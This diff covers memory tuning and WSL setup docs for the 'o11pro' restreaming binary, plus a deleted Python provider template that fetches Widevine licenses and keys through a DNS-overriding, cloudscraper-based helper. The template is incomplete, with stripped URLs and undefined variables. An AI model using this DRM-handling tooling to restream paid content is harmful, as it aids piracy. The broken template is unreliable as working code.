~10 MB per stream)
|
||||
4. **HLS segment generation buffers** (TS muxing, PCR/PAT/PMT insertion =
|
||||
~5 MB per stream)
|
||||
5. **HTTP client connection pools** (keep-alive connections to CDNs =
|
||||
~2 MB per stream)
|
||||
6. **Manifest cache** (parsed DASH MPD, representation lists = ~5 MB per stream)
|
||||
7. **Go runtime overhead** (goroutine scheduler, GC metadata, type info =
|
||||
~50 MB fixed)
|
||||
|
||||
Total per-stream heap: ~30 MB live + ~80 MB in-flight buffers = ~110 MB
|
||||
|
||||
---
|
||||
|
||||
## Go Runtime Tuning
|
||||
|
||||
### GOGC (garbage collection trigger)
|
||||
|
||||
- **Default**: `GOGC=100` GC runs when heap doubles from previous GC
|
||||
- **Tested**: `GOGC=50` GC runs when heap grows 50% too aggressive,
|
||||
starves streams
|
||||
- **Recommendation**: Leave at default (100). The binary's memory usage
|
||||
is dominated by live buffers that can't be GC'd anyway.
|
||||
|
||||
### GOMEMLIMIT (soft memory cap)
|
||||
|
||||
- **Default**: off (no limit)
|
||||
- **Tested**: 512 MB too low, streams can't allocate download buffers
|
||||
- **Tested**: 1 GB works but streams fail due to network, not memory
|
||||
- **Recommendation**: Set `GOMEMLIMIT=2GiB` (2147483648) as a safety net
|
||||
for production. This allows ~18 streams at 110 MB each before GC
|
||||
pressure increases. Below 1 GB, streams will fail.
|
||||
|
||||
### GODEBUG
|
||||
|
||||
- `GODEBUG=gctrace=1` prints GC logs to stderr (useful for debugging)
|
||||
- `GODEBUG=memprofilerate=1` enables memory profiling (overhead)
|
||||
- Neither is needed for normal operation
|
||||
|
||||
---
|
||||
|
||||
## Recommendations
|
||||
|
||||
### 1. Always use `-keep=false` (CRITICAL)
|
||||
|
||||
```bash
|
||||
./o11pro.fixed -c o11.cfg -p 19999 -b 0.0.0.0 -stdout -keep=false
|
||||
```
|
||||
|
||||
This is the single most important change. It reduces memory from
|
||||
unbounded growth (3.5+ GB in 2 minutes) to stable (~110 MB per stream)
|
||||
and keeps disk usage at ~4 KB instead of growing to 6+ GB.
|
||||
|
||||
The `-keep=true` default is labeled "debugging only" in the help text
|
||||
but is unfortunately the default. **Always override it.**
|
||||
|
||||
### 2. Set `GOMEMLIMIT` as a safety net
|
||||
|
||||
```bash
|
||||
GOMEMLIMIT=2147483648 ./o11pro.fixed ... -keep=false
|
||||
```
|
||||
|
||||
This sets a 2 GB soft cap on Go's heap. If the binary tries to exceed
|
||||
this, Go's GC will run more aggressively to stay under the limit. This
|
||||
prevents OOM kills on memory-constrained systems.
|
||||
|
||||
Do NOT set GOMEMLIMIT below 1 GB streams will fail with HTTP timeouts
|
||||
because they can't allocate download buffers fast enough.
|
||||
|
||||
### 3. Reduce concurrent streams if memory-constrained
|
||||
|
||||
The provider config has `MaxConcurrentStreams: 0` (unlimited). Set this
|
||||
to a number your system can handle:
|
||||
|
||||
```json
|
||||
{
|
||||
"MaxConcurrentStreams": 8
|
||||
}
|
||||
```
|
||||
|
||||
At ~110 MB per stream, 8 streams need ~880 MB of heap. With Go runtime
|
||||
overhead (~150 MB), total RSS ≈ 1 GB.
|
||||
|
||||
### 4. Use a RAM disk for `hls/live` (optional)
|
||||
|
||||
Even with `-keep=false`, the binary writes temp files to `hls/live/`
|
||||
before deleting them. On a slow disk, this can cause I/O bottlenecks.
|
||||
Mount `hls/live` as a RAM disk (tmpfs) for better performance:
|
||||
|
||||
```bash
|
||||
mkdir -p hls/live
|
||||
mount -t tmpfs -o size=512m tmpfs hls/live
|
||||
```
|
||||
|
||||
This gives 512 MB of RAM for temp files (plenty for `-keep=false`
|
||||
operation, where files are deleted immediately).
|
||||
|
||||
### 5. Monitor memory in production
|
||||
|
||||
```bash
|
||||
# Simple memory monitor (add to your monitoring script)
|
||||
PID=$(pgrep -f o11pro)
|
||||
RSS=$(awk '/VmRSS/{print $2}' /proc/$PID/status)
|
||||
HLS=$(du -sm hls/live 2>/dev/null | cut -f1)
|
||||
echo "$(date): RSS=${RSS}KB HLS=${HLS}MB"
|
||||
|
||||
# Alert if RSS > 2 GB or HLS > 1 GB
|
||||
if [ "$RSS" -gt 2097152 ] || [ "$HLS" -gt 1024 ]; then
|
||||
echo "ALERT: Memory or disk usage high!"
|
||||
# Restart the binary
|
||||
kill $PID
|
||||
sleep 5
|
||||
./o11pro.fixed -c o11.cfg -p 19999 -keep=false &
|
||||
fi
|
||||
```
|
||||
|
||||
### 6. Restart periodically as a fallback
|
||||
|
||||
If you can't use `-keep=false` for some reason, restart the binary
|
||||
periodically to clear memory and disk:
|
||||
|
||||
```bash
|
||||
# Restart every 30 minutes
|
||||
*/30 * * * * pkill -f o11pro && sleep 5 && ./o11pro.fixed -c o11.cfg -p 19999 &
|
||||
```
|
||||
|
||||
This is a band-aid, not a fix. Use `-keep=false` instead.
|
||||
|
||||
---
|
||||
|
||||
## Memory vs Stream Count
|
||||
|
||||
| Streams | RSS (with `-keep=false`) | RSS (with `-keep=true`, 5 min) | Disk (with `-keep=false`) | Disk (with `-keep=true`, 5 min) |
|
||||
|---------|--------------------------|--------------------------------|---------------------------|---------------------------------|
|
||||
| 0 | ~150 MB | ~150 MB | 4 KB | 4 KB |
|
||||
| 1 | ~260 MB | ~700 MB | 4 KB | ~700 MB |
|
||||
| 6 | ~660 MB | ~2.5 GB | 4 KB | ~3.5 GB |
|
||||
| 9 | ~1.1 GB | ~3.5 GB | 4 KB | ~5.9 GB |
|
||||
| 26 (all) | ~3 GB (estimated) | ~10+ GB (OOM) | 4 KB | ~17+ GB (OOM) |
|
||||
|
||||
With `-keep=false`, the binary can handle all 26 streams in ~3 GB of
|
||||
RAM. With `-keep=true` (default), it will OOM within 5-10 minutes even
|
||||
with 16+ GB of RAM.
|
||||
|
||||
---
|
||||
|
||||
## Summary
|
||||
|
||||
| Setting | RSS (9 streams, 5 min) | Disk (5 min) | Streams working? |
|
||||
|---------|------------------------|--------------|------------------|
|
||||
| Default (`-keep=true`) | **3,535 MB** (growing) | **5,900 MB** (growing) | ✅ 8-9 streaming |
|
||||
| `-keep=false` | **663 MB** (stable) | **4 KB** (clean) | ✅ 6 streaming |
|
||||
| `-keep=false` + `GOMEMLIMIT=2GB` | ~660 MB (capped) | 4 KB | ✅ 6 streaming (recommended) |
|
||||
| `-keep=false` + `GOMEMLIMIT=512MB` | 138 MB (capped) | 4 KB | ❌ 0 (too aggressive) |
|
||||
|
||||
**The fix is simple: always launch with `-keep=false`, and optionally
|
||||
set `GOMEMLIMIT=2GiB` as a safety net.**
|
||||
@@ -89,10 +89,10 @@ You should see something like: `ffmpeg version 4.4.2-0ubuntu0.22.04.1`
|
||||
mkdir -p ~/o11 && cd ~/o11
|
||||
|
||||
# Download the latest unpacked binary
|
||||
wget https://github.com/Ap0dexMe0/o11pro-unpacked/releases/latest/download/o11pro_unpacked -O o11pro_unpacked
|
||||
wget https://github.com/Ap0dexMe0/o11pro-unpacked/releases/latest/download/o11pro -O o11pro
|
||||
|
||||
# Make it executable
|
||||
chmod +x o11pro_unpacked
|
||||
chmod +x o11pro
|
||||
```
|
||||
|
||||
### Option B: From Local Windows File
|
||||
@@ -104,10 +104,10 @@ If you already downloaded the binary on Windows, you can access it from WSL. Win
|
||||
mkdir -p ~/o11 && cd ~/o11
|
||||
|
||||
# Copy from Windows to WSL home
|
||||
cp /mnt/c/Users/YOUR_USERNAME/Downloads/o11pro_unpacked ./
|
||||
cp /mnt/c/Users/YOUR_USERNAME/Downloads/o11pro ./
|
||||
|
||||
# Make it executable
|
||||
chmod +x o11pro_unpacked
|
||||
chmod +x o11pro
|
||||
```
|
||||
|
||||
> **Replace `YOUR_USERNAME`** with your actual Windows username. Use tab-completion: type `/mnt/c/Users/` and press Tab.
|
||||
@@ -118,7 +118,7 @@ You can also drag and drop files directly into the WSL filesystem:
|
||||
|
||||
1. Open WSL terminal
|
||||
2. Type `explorer.exe .` to open Windows Explorer at the current WSL directory
|
||||
3. Copy `o11pro_unpacked` into the Explorer window
|
||||
3. Copy `o11pro` into the Explorer window
|
||||
|
||||
---
|
||||
|
||||
@@ -128,7 +128,7 @@ You can also drag and drop files directly into the WSL filesystem:
|
||||
cd ~/o11
|
||||
|
||||
# Start with a port and credentials
|
||||
./o11pro_unpacked -p 8080 -user admin -password mypass -stdout
|
||||
./o11pro -p 8080 -user admin -password mypass -stdout
|
||||
```
|
||||
|
||||
You should see:
|
||||
@@ -147,7 +147,7 @@ INFO: webif http listening at 0.0.0.0:8080
|
||||
INFO: loaded 0 provider(s)
|
||||
```
|
||||
|
||||
> **If you get "Permission denied"**: Run `chmod +x o11pro_unpacked` again. If you get a "cannot execute binary file" error, make sure you're on WSL 2 (not WSL 1) and using an x86-64 Ubuntu.
|
||||
> **If you get "Permission denied"**: Run `chmod +x o11pro` again. If you get a "cannot execute binary file" error, make sure you're on WSL 2 (not WSL 1) and using an x86-64 Ubuntu.
|
||||
|
||||
Open your Windows browser and go to:
|
||||
|
||||
@@ -210,7 +210,7 @@ Now other devices can access O11 at `http://<YOUR_WINDOWS_IP>:8080`
|
||||
```bash
|
||||
cd ~/o11
|
||||
|
||||
nohup ./o11pro_unpacked -p 8080 -user admin -password mypass \
|
||||
nohup ./o11pro -p 8080 -user admin -password mypass \
|
||||
-path ~/o11/data -stdout >> ~/o11/o11.log 2>&1 &
|
||||
|
||||
echo $! > ~/o11/o11.pid
|
||||
@@ -246,7 +246,7 @@ screen -S o11
|
||||
|
||||
# Start O11
|
||||
cd ~/o11
|
||||
./o11pro_unpacked -p 8080 -user admin -password mypass -path ~/o11/data
|
||||
./o11pro -p 8080 -user admin -password mypass -path ~/o11/data
|
||||
|
||||
# Detach from screen: press Ctrl+A then D
|
||||
# Reattach later:
|
||||
@@ -272,7 +272,7 @@ After=network.target
|
||||
Type=simple
|
||||
User=YOUR_LINUX_USERNAME
|
||||
WorkingDirectory=/home/YOUR_LINUX_USERNAME/o11
|
||||
ExecStart=/home/YOUR_LINUX_USERNAME/o11/o11pro_unpacked -p 8080 -user admin -password mypass -path /home/YOUR_LINUX_USERNAME/o11/data
|
||||
ExecStart=/home/YOUR_LINUX_USERNAME/o11/o11pro -p 8080 -user admin -password mypass -path /home/YOUR_LINUX_USERNAME/o11/data
|
||||
Restart=on-failure
|
||||
RestartSec=5
|
||||
|
||||
@@ -325,7 +325,7 @@ Use the `-path` flag to keep all O11 data organized:
|
||||
```bash
|
||||
mkdir -p ~/o11/data
|
||||
|
||||
./o11pro_unpacked -p 8080 -user admin -password mypass -path ~/o11/data
|
||||
./o11pro -p 8080 -user admin -password mypass -path ~/o11/data
|
||||
```
|
||||
|
||||
O11 will create its directory structure automatically:
|
||||
@@ -422,7 +422,7 @@ This is the most reliable method for auto-starting O11 when Windows boots.
|
||||
- Program/script: `wsl`
|
||||
- Add arguments:
|
||||
```
|
||||
-d Ubuntu -u YOUR_LINUX_USERNAME -- bash -c "cd ~/o11 && ./o11pro_unpacked -p 8080 -user admin -password mypass -path ~/o11/data -stdout >> ~/o11/o11.log 2>&1"
|
||||
-d Ubuntu -u YOUR_LINUX_USERNAME -- bash -c "cd ~/o11 && ./o11pro -p 8080 -user admin -password mypass -path ~/o11/data -stdout >> ~/o11/o11.log 2>&1"
|
||||
```
|
||||
- Click OK
|
||||
|
||||
@@ -441,7 +441,7 @@ Open Notepad and save this as `C:\o11-start.ps1`:
|
||||
|
||||
```powershell
|
||||
# Start O11 in WSL
|
||||
wsl -d Ubuntu -u YOUR_LINUX_USERNAME -- bash -c "cd ~/o11 && nohup ./o11pro_unpacked -p 8080 -user admin -password mypass -path ~/o11/data >> ~/o11/o11.log 2>&1 & echo $! > ~/o11/o11.pid"
|
||||
wsl -d Ubuntu -u YOUR_LINUX_USERNAME -- bash -c "cd ~/o11 && nohup ./o11pro -p 8080 -user admin -password mypass -path ~/o11/data >> ~/o11/o11.log 2>&1 & echo $! > ~/o11/o11.pid"
|
||||
|
||||
# Wait for O11 to start
|
||||
Start-Sleep -Seconds 3
|
||||
@@ -516,7 +516,7 @@ sudo cp /etc/letsencrypt/live/o11.example.com/privkey.pem ~/o11/server.key
|
||||
Start with HTTPS:
|
||||
|
||||
```bash
|
||||
./o11pro_unpacked -p 8443 -https -user admin -password mypass -path ~/o11/data
|
||||
./o11pro -p 8443 -https -user admin -password mypass -path ~/o11/data
|
||||
```
|
||||
|
||||
> **Note for WSL**: Windows Firewall will prompt you to allow the connection. Click **Allow**.
|
||||
@@ -582,7 +582,7 @@ echo "tmpfs /home/YOUR_LINUX_USERNAME/o11/data/hls/live tmpfs defaults,size=512m
|
||||
|
||||
> If you skip RAMFS, use the `-noramfs` flag when starting O11:
|
||||
> ```bash
|
||||
> ./o11pro_unpacked -p 8080 -noramfs -path ~/o11/data
|
||||
> ./o11pro -p 8080 -noramfs -path ~/o11/data
|
||||
> ```
|
||||
|
||||
### WSL Memory Limits
|
||||
@@ -651,7 +651,7 @@ If your `C:` drive is small, you can point `-path` to a Windows drive:
|
||||
mkdir -p /mnt/d/o11-data
|
||||
|
||||
# Start O11 with data on Windows drive
|
||||
./o11pro_unpacked -p 8080 -path /mnt/d/o11-data -user admin -password mypass
|
||||
./o11pro -p 8080 -path /mnt/d/o11-data -user admin -password mypass
|
||||
```
|
||||
|
||||
> **Performance note**: WSL filesystem (`~/o11/`) is faster than Windows drives (`/mnt/d/`). For best performance, keep the binary and live HLS segments in WSL, and use Windows drives only for VOD downloads and recordings.
|
||||
@@ -663,15 +663,15 @@ mkdir -p /mnt/d/o11-data
|
||||
### "Permission denied" when running the binary
|
||||
|
||||
```bash
|
||||
chmod +x ~/o11/o11pro_unpacked
|
||||
chmod +x ~/o11/o11pro
|
||||
```
|
||||
|
||||
If still failing, check if the file is on a Windows drive (NTFS doesn't support Linux permissions):
|
||||
|
||||
```bash
|
||||
# Move to WSL filesystem
|
||||
mv /mnt/c/Users/.../o11pro_unpacked ~/o11/
|
||||
chmod +x ~/o11/o11pro_unpacked
|
||||
mv /mnt/c/Users/.../o11pro ~/o11/
|
||||
chmod +x ~/o11/o11pro
|
||||
```
|
||||
|
||||
### "cannot execute binary file: Exec format error"
|
||||
@@ -701,7 +701,7 @@ kill -9 <PID>
|
||||
Or use a different port:
|
||||
|
||||
```bash
|
||||
./o11pro_unpacked -p 8081 -path ~/o11/data
|
||||
./o11pro -p 8081 -path ~/o11/data
|
||||
```
|
||||
|
||||
### Can't access from Windows browser
|
||||
@@ -711,7 +711,7 @@ Or use a different port:
|
||||
3. Try the WSL IP directly: `http://$(wsl hostname -I).Trim():8080`
|
||||
4. If using a specific bind address, try `-b 0.0.0.0`:
|
||||
```bash
|
||||
./o11pro_unpacked -p 8080 -b 0.0.0.0 -path ~/o11/data
|
||||
./o11pro -p 8080 -b 0.0.0.0 -path ~/o11/data
|
||||
```
|
||||
|
||||
### WSL keeps shutting down O11 when terminal closes
|
||||
@@ -719,7 +719,7 @@ Or use a different port:
|
||||
Use `nohup`, `screen`, or `systemd` as described in Step 7. The `nohup` method is simplest:
|
||||
|
||||
```bash
|
||||
nohup ./o11pro_unpacked -p 8080 -path ~/o11/data >> ~/o11/o11.log 2>&1 &
|
||||
nohup ./o11pro -p 8080 -path ~/o11/data >> ~/o11/o11.log 2>&1 &
|
||||
```
|
||||
|
||||
### FFmpeg not found
|
||||
@@ -730,7 +730,7 @@ which ffmpeg
|
||||
# Should output: /usr/bin/ffmpeg
|
||||
|
||||
# If using a custom path:
|
||||
./o11pro_unpacked -p 8080 -f /usr/bin/ffmpeg -path ~/o11/data
|
||||
./o11pro -p 8080 -f /usr/bin/ffmpeg -path ~/o11/data
|
||||
```
|
||||
|
||||
### WSL port forwarding resets after reboot
|
||||
@@ -754,14 +754,14 @@ netsh interface portproxy add v4tov4 address=0.0.0.0 port=8080 connectaddress=$w
|
||||
|
||||
```bash
|
||||
cd ~/o11
|
||||
./o11pro_unpacked -p 8080 -user admin -password mypass -path ~/o11/data
|
||||
./o11pro -p 8080 -user admin -password mypass -path ~/o11/data
|
||||
```
|
||||
|
||||
### Start in Background
|
||||
|
||||
```bash
|
||||
cd ~/o11
|
||||
nohup ./o11pro_unpacked -p 8080 -user admin -password mypass -path ~/o11/data >> ~/o11/o11.log 2>&1 &
|
||||
nohup ./o11pro -p 8080 -user admin -password mypass -path ~/o11/data >> ~/o11/o11.log 2>&1 &
|
||||
echo $! > ~/o11/o11.pid
|
||||
```
|
||||
|
||||
@@ -787,14 +787,14 @@ ps aux | grep o11pro
|
||||
|
||||
```bash
|
||||
cd ~/o11
|
||||
wget https://github.com/Ap0dexMe0/o11pro-unpacked/releases/latest/download/o11pro_unpacked -O o11pro_unpacked
|
||||
chmod +x o11pro_unpacked
|
||||
wget https://github.com/Ap0dexMe0/o11pro-unpacked/releases/latest/download/o11pro -O o11pro
|
||||
chmod +x o11pro
|
||||
```
|
||||
|
||||
### Complete Start with All Options
|
||||
|
||||
```bash
|
||||
./o11pro_unpacked \
|
||||
./o11pro \
|
||||
-p 8080 \
|
||||
-streamport 9090 \
|
||||
-epgport 9091 \
|
||||
|
||||
@@ -1,359 +0,0 @@
|
||||
#!/usr/bin/python3
|
||||
import sys
|
||||
import os
|
||||
import o11
|
||||
import base64
|
||||
import json
|
||||
import time
|
||||
from dateutil import parser
|
||||
from deep_translator import GoogleTranslator
|
||||
|
||||
user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36'
|
||||
|
||||
user=o11.parse_params(sys.argv, 'user')
|
||||
password=o11.parse_params(sys.argv, 'password')
|
||||
device=o11.parse_params(sys.argv, 'device')
|
||||
pin=o11.parse_params(sys.argv, 'pin')
|
||||
|
||||
if user == "" or password == "":
|
||||
print("no account specificed")
|
||||
sys.exit(1)
|
||||
|
||||
if len(device) != 36:
|
||||
print("device must be a UUID")
|
||||
sys.exit(1)
|
||||
|
||||
id=o11.parse_params(sys.argv, 'id')
|
||||
text=o11.parse_params(sys.argv, 'text')
|
||||
srclang=o11.parse_params(sys.argv, 'srclang')
|
||||
dstlang=o11.parse_params(sys.argv, 'dstlang')
|
||||
action=o11.parse_params(sys.argv, 'action')
|
||||
url=o11.parse_params(sys.argv, 'url')
|
||||
|
||||
bind=o11.parse_params(sys.argv, 'bind')
|
||||
proxy=o11.parse_params(sys.argv, 'proxy')
|
||||
doh=o11.parse_params(sys.argv, 'doh')
|
||||
dns=o11.parse_params(sys.argv, 'dns')
|
||||
worker=o11.parse_params(sys.argv, 'worker')
|
||||
|
||||
cdm=o11.parse_params(sys.argv, 'cdm')
|
||||
drm=o11.parse_params(sys.argv, 'drm')
|
||||
kid=o11.parse_params(sys.argv, 'kid')
|
||||
pssh=o11.parse_params(sys.argv, 'pssh')
|
||||
challenge=o11.parse_params(sys.argv, 'challenge')
|
||||
licenseurl=o11.parse_params(sys.argv, 'licenseurl')
|
||||
licenseparams=o11.parse_params(sys.argv, 'licenseparams')
|
||||
|
||||
heartbeaturl=o11.parse_params(sys.argv, 'heartbeaturl')
|
||||
heartbeatparams=o11.parse_params(sys.argv, 'heartbeatparams')
|
||||
|
||||
o11Session = o11.session(bind=bind, proxy=proxy, worker=worker, doh=doh, dns=dns)
|
||||
req = o11Session.get_session()
|
||||
|
||||
if doh != "":
|
||||
o11.dns(doh)
|
||||
elif dns != "":
|
||||
o11.dns(dns)
|
||||
|
||||
if action == "subtitles":
|
||||
if srclang == "":
|
||||
srclang = "auto"
|
||||
output = {
|
||||
"Text": GoogleTranslator(source=srclang, target=dstlang).translate(text)
|
||||
}
|
||||
print(json.dumps(output))
|
||||
sys.exit(1)
|
||||
|
||||
if challenge == "cert":
|
||||
challenge = "CAQ="
|
||||
|
||||
authFile = '/example_' + user + '.tokens'
|
||||
|
||||
headers = {}
|
||||
|
||||
def pair():
|
||||
print("pairing...", flush=True)
|
||||
|
||||
response = req.get()
|
||||
try:
|
||||
code = response.json()['code']
|
||||
print("Please go to ... and enter code " + code, flush=True)
|
||||
except:
|
||||
print(response.text, flush=True)
|
||||
sys.exit(1)
|
||||
|
||||
print("please enter received code: ", flush=True)
|
||||
code = input()
|
||||
|
||||
while True:
|
||||
response = req.get()
|
||||
try:
|
||||
response.json()['token']
|
||||
json.dump(response.json(), open(os.path.abspath(os.path.dirname(__file__)) + authFile, 'w'))
|
||||
print("pairing done", flush=True)
|
||||
break
|
||||
except:
|
||||
pass
|
||||
|
||||
time.sleep(1)
|
||||
|
||||
def login():
|
||||
print("logging in...", file=sys.stderr)
|
||||
|
||||
# Get token
|
||||
response = req.get()
|
||||
try:
|
||||
response.json()['token']
|
||||
json.dump(response.json(), open(os.path.abspath(os.path.dirname(__file__)) + authFile, 'w'))
|
||||
except:
|
||||
output = {
|
||||
"ErrorCode": 401,
|
||||
"ErrorMessage": "auth failed"
|
||||
}
|
||||
print(json.dumps(output))
|
||||
sys.exit(0)
|
||||
|
||||
print("logged in successfully", file=sys.stderr)
|
||||
|
||||
def refresh():
|
||||
print("refreshing tokens...", file=sys.stderr)
|
||||
|
||||
try:
|
||||
auth = json.load(open(os.path.abspath(os.path.dirname(__file__)) + authFile))
|
||||
except:
|
||||
return "error"
|
||||
|
||||
# Get token
|
||||
response = req.get()
|
||||
try:
|
||||
response.json()['token']
|
||||
except:
|
||||
print(response.text, file=sys.stderr)
|
||||
return "error"
|
||||
|
||||
auth.update(response.json())
|
||||
json.dump(auth, open(os.path.abspath(os.path.dirname(__file__)) + authFile, 'w'))
|
||||
|
||||
print("tokens refreshed successfully", file=sys.stderr)
|
||||
|
||||
def do_action():
|
||||
|
||||
if action == "pair":
|
||||
pair()
|
||||
sys.exit()
|
||||
elif action == "login":
|
||||
login()
|
||||
sys.exit()
|
||||
|
||||
try:
|
||||
auth = json.load(open(os.path.abspath(os.path.dirname(__file__)) + authFile))
|
||||
except:
|
||||
return "error"
|
||||
|
||||
if action == "channels":
|
||||
output = {}
|
||||
output['Channels'] = []
|
||||
|
||||
response = req.get()
|
||||
try:
|
||||
for chan in response.json():
|
||||
channel = {}
|
||||
channel['Name'] = chan['Name']
|
||||
channel['SortId'] = 0
|
||||
channel['EpgId'] = ""
|
||||
channel['Mode'] = "live"
|
||||
channel['ScriptParams'] = 'id=' + str(chan['Id'])
|
||||
channel['SessionManifest'] = True
|
||||
channel['CdmType'] = "widevine"
|
||||
channel['UseCdm'] = True
|
||||
channel['Video'] = 'best'
|
||||
channel['OnDemand'] = True
|
||||
channel['SpeedUp'] = True
|
||||
channel['LogoUrl'] = ""
|
||||
channel['Info'] = "unsubscribed"
|
||||
output['Channels'].append(channel)
|
||||
|
||||
print(json.dumps(output, indent=2))
|
||||
except:
|
||||
print(response.text, file=sys.stderr)
|
||||
return "error"
|
||||
|
||||
elif action == "vod":
|
||||
output = {}
|
||||
output['Vod'] = []
|
||||
|
||||
response = req.get()
|
||||
try:
|
||||
for item in response.json():
|
||||
vod = {}
|
||||
vod['Name'] = item['Name']
|
||||
vod['Category'] = ''
|
||||
vod['Description'] = ''
|
||||
vod['Mode'] = "vod"
|
||||
vod['SessionManifest'] = True
|
||||
vod['ScriptParams'] = 'id=' + str(item['Id'])
|
||||
vod['CdmType'] = "widevine"
|
||||
vod['UseCdm'] = True
|
||||
vod['Video'] = 'best'
|
||||
output['Vod'].append(vod)
|
||||
|
||||
print(json.dumps(output, indent=2))
|
||||
except:
|
||||
print(response.text, file=sys.stderr)
|
||||
return "error"
|
||||
|
||||
elif action == "events":
|
||||
output = {}
|
||||
output['Events'] = []
|
||||
|
||||
response = req.get()
|
||||
try:
|
||||
for ev in response.json():
|
||||
event = {}
|
||||
event['Name'] = ev['Name']
|
||||
event['Mode'] = "live"
|
||||
event['SessionManifest'] = True
|
||||
event['ScriptParams'] = 'id=' + str(ev['Id'])
|
||||
event['CdmType'] = "widevine"
|
||||
event['UseCdm'] = True
|
||||
event['Video'] = 'best'
|
||||
event['OnDemand'] = True
|
||||
event['SpeedUp'] = True
|
||||
event['Start'] = int(parser.parse(ev['start_date']).timestamp())
|
||||
event['End'] = int(parser.parse(ev['end_date']).timestamp())
|
||||
output['Events'].append(event)
|
||||
|
||||
print(json.dumps(output, indent=2))
|
||||
except:
|
||||
print(response.text, file=sys.stderr)
|
||||
return "error"
|
||||
|
||||
elif action == "epg":
|
||||
output = {}
|
||||
output['Epg'] = {}
|
||||
output['Epg']['Channels'] = []
|
||||
|
||||
channels = req.get()
|
||||
try:
|
||||
for chan in channels.json():
|
||||
channel = {}
|
||||
channel['Name'] = chan['Name']
|
||||
channel['EpgId'] = ""
|
||||
channel['Lang'] = 'en'
|
||||
channel['Entries'] = []
|
||||
|
||||
items = req.get()
|
||||
for item in items.json():
|
||||
entry = {}
|
||||
entry['Title'] = item['Title']
|
||||
entry['Description'] = item['Description']
|
||||
entry['Lang'] = item['Lang']
|
||||
entry['Start'] = int(parser.parse(item['start_date']).timestamp())
|
||||
entry['End'] = int(parser.parse(item['end_date']).timestamp())
|
||||
channel['Entries'].append(entry)
|
||||
|
||||
output['Epg']['Channels'].append(channel)
|
||||
|
||||
print(json.dumps(output, indent=2))
|
||||
except:
|
||||
print(response.text, file=sys.stderr)
|
||||
return "error"
|
||||
|
||||
elif action == "heartbeat":
|
||||
output = {
|
||||
"ManifestUrl": response.json()['mpdUrl'],
|
||||
"Headers": {
|
||||
"Manifest": {
|
||||
'User-Agent': user_agent
|
||||
},
|
||||
"Media": {
|
||||
'User-Agent': user_agent
|
||||
}
|
||||
},
|
||||
"Heartbeat": {
|
||||
"Url": '',
|
||||
"Params": '',
|
||||
"PeriodMs": 5*60*1000
|
||||
},
|
||||
}
|
||||
print(json.dumps(output))
|
||||
|
||||
elif action == "manifest":
|
||||
try:
|
||||
output = {
|
||||
"Cdn": [],
|
||||
"ManifestUrl": response.json()['mpdUrl'],
|
||||
"ManifestExpiration": 0, # Unix timestamp
|
||||
"Headers": {
|
||||
"Manifest": {
|
||||
'User-Agent': user_agent
|
||||
},
|
||||
"Media": {
|
||||
'User-Agent': user_agent
|
||||
}
|
||||
},
|
||||
"Heartbeat": {
|
||||
"Url": '',
|
||||
"Params": '',
|
||||
"PeriodMs": 5*60*1000
|
||||
},
|
||||
"License": {
|
||||
"Url": '',
|
||||
"Params": ''
|
||||
}
|
||||
}
|
||||
for cdn in [ '' ]:
|
||||
response = req.get("", headers=headers)
|
||||
output['Cdn'].append({ "Name": cdn, "ManifestUrl": mpd_url })
|
||||
output['ManifestUrl'] = mpd_url
|
||||
print(json.dumps(output))
|
||||
except:
|
||||
print(response.text, file=sys.stderr)
|
||||
return "error"
|
||||
|
||||
elif action == "cdm" and cdm == "internal":
|
||||
# return license from challenge
|
||||
response = req.post(licenseurl, headers=headers, data=base64.b64decode(challenge))
|
||||
response_b64 = str(base64.b64encode(response.content), 'ascii')
|
||||
if response_b64.startswith('CA'):
|
||||
output = {
|
||||
"CdmAnswer": response_b64
|
||||
}
|
||||
print(json.dumps(output))
|
||||
else:
|
||||
print(response.text, file=sys.stderr)
|
||||
return "error"
|
||||
|
||||
elif action == "cdm" and cdm == "external":
|
||||
output = {
|
||||
"CdmAnswer": keys
|
||||
}
|
||||
print(json.dumps(output))
|
||||
|
||||
elif action == "pssh":
|
||||
output = {
|
||||
"ProcessedPssh": pssh
|
||||
}
|
||||
print(json.dumps(output))
|
||||
elif action == "downloadmanifest":
|
||||
response = req.get(url)
|
||||
output = {
|
||||
"ErrorCode": response.status_code,
|
||||
"Payload": base64.b64encode(response.content).decode()
|
||||
}
|
||||
print(json.dumps(output))
|
||||
elif action == "downloadmedia":
|
||||
response = req.get(url)
|
||||
output = {
|
||||
"ErrorCode": response.status_code,
|
||||
"Payload": base64.b64encode(response.content).decode()
|
||||
}
|
||||
print(json.dumps(output))
|
||||
else:
|
||||
print("invalid action: " + action)
|
||||
|
||||
if do_action() == "error":
|
||||
if refresh() == "error":
|
||||
login()
|
||||
if do_action() == "error":
|
||||
sys.exit(1)
|
||||
@@ -1,630 +0,0 @@
|
||||
from urllib3.util import connection, parse_url
|
||||
from dns import message, rdatatype, resolver
|
||||
from requests.adapters import HTTPAdapter
|
||||
from requests.packages.urllib3.poolmanager import PoolManager
|
||||
from requests_toolbelt.adapters.socket_options import SocketOptionsAdapter
|
||||
from io import BytesIO
|
||||
from http.cookies import SimpleCookie
|
||||
from curl_cffi import requests as cffi_requests, CurlOpt, CurlSslVersion, CurlHttpVersion
|
||||
import ipaddress
|
||||
import gzip
|
||||
import requests
|
||||
import urllib
|
||||
import http
|
||||
import ssl
|
||||
import socket
|
||||
import socks
|
||||
import json
|
||||
import base64
|
||||
import os
|
||||
import sys
|
||||
import cloudscraper
|
||||
|
||||
def parse_params(params, name, default=""):
|
||||
ret = default
|
||||
for p in params:
|
||||
if p.split("=")[0] == name and len(p.split("=")) >= 2:
|
||||
ret = p[len(p.split("=")[0])+1:]
|
||||
return ret
|
||||
|
||||
def get_local_config():
|
||||
return json.load(open(os.path.abspath(os.path.dirname(sys.modules['__main__'].__file__)) + '/../providers/' + os.path.splitext(os.path.basename(sys.modules['__main__'].__file__))[0] + '.cfg'))
|
||||
|
||||
class dns:
|
||||
def __init__(self, url):
|
||||
self.url = url
|
||||
self._orig_create_connection = connection.create_connection
|
||||
connection.create_connection = self.patched_create_connection
|
||||
def resolve_dns(self, host):
|
||||
if len(self.url.split("/"))>=3 and self.url.split("/")[2] == host:
|
||||
my_resolver = resolver.Resolver()
|
||||
my_resolver.nameservers = ['1.1.1.1']
|
||||
return str(my_resolver.query(host)[0])
|
||||
|
||||
try:
|
||||
ipaddress.ip_address(host)
|
||||
return host
|
||||
except:
|
||||
pass
|
||||
|
||||
if self.url.startswith('http'):
|
||||
headers = {
|
||||
'accept': 'application/dns-message',
|
||||
